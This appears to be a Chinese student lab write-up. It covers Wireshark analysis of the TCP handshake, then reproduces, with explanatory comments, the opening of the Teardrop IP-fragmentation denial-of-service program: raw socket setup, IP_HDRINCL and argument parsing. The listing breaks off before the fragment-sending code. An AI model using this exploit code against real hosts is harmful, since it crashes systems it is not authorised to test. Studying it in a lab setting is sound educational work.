一、wireshark抓包分析TCP协议
1.TCP协议
TCP包格式
三次握手示意图
2.抓包分析
抓取到的3次握手
第一次握手
第二次握手
第三次握手
二、Teardrop代码编程
1.新建文件
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <errno.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else
/* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1
/* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/
//错误处理函数
void usage(u_char *);
//获取主机信息
u_long name_resolve(u_char *);
//设置 IP 包的内容并发送
void send_frags(int ,u_long,u_long,u_short,u_short);
//主函数
int main(int argc,char **argv)
{
int one = 1, count = 0, i, rip_sock;
//定义无符号长整型源 IP 和目的 IP
u_long src_ip = 0, dst_ip = 0;
//定义无符号短整型源端口号和目的端口号
u_short src_prt = 0, dst_prt = 0;
/*
定一个结构体 in_addr(表示一个32位的IPv4地址)的一个对象
struct in_addr
{
union
{
struct
{
u_char s_b1,s_b2,s_b3,s_b4;
} S_un_b; //An IPv4 address formatted as four u_chars.
struct
{
u_short s_w1,s_w2;
} S_un_w; //An IPv4 address formatted as two u_shorts
u_long S_addr;//An IPv4 address formatted as a u_long
} S_un;
#define s_addr S_un.S_addr
};
*/
struct in_addr addr;
printf("teardrop route|daemon9\n\n");
/*
创建一个原始套接字
AF_INET——IPv4地址;
SOCK_RAW——原始的套接字类型
IPPROTO_RAW——允许使用底层的套接字协议,就可以自己编写IP包
如果创建套接字成功,则会返回一个描述符(int型),失败则会返回 INVALID_SOCKET
每个电脑里面都会有一个描述符表,对应套接字
如果创建失败,将错误消息输出到屏幕
然后退出程序
*/
if((rip_sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
{
fprintf(stderr,"raw socket");
exit(1);
}
/*
设置原始套接字选项 IP_HDRINCL
如果不设置这个选项,IP 协议会自动填充 IP 数据包的首部
这个情况是我们所不需要的,我们需要自己编写 IP 包
*/
if(setsockopt(rip_sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one)) < 0)
{
fprintf(stderr,"IP_HDRINCL");
exit(1);
}
/*
如果程序运行时送给main函数的命令行参数个数小于 3 个,
调用 usage 函数,传参为 argv[0]:指向程序运行的全路径名
*/
if(argc < 3)
usage(argv[0]);
//调用 name_resolve 函数设置源 IP 和目的 IP
if(!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr,"What the hell kind of IP address is that?\n");
exit(1);
}
/*
调用 getopt 函数分析命令行参数,该函数的参数含义:
——命令行参数个数(argc)
——命令行参数内容(argv)
——参数格式(opstring):字母后有 : 表示该选项后面必须跟参数
getopt 函数处理不符合 optstring 指定的选项
并将选项后的参数保存在 optarg 中
然后返回选项的 ASCLL 码
atoi 函数是将参数(optarg)转化为十进制(会跳过前面的空白字符)
如果不能转化为十进制,则返回 0 ,值过大返回 -1
该循环语句是为了从命令行传端口值
*/
while((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch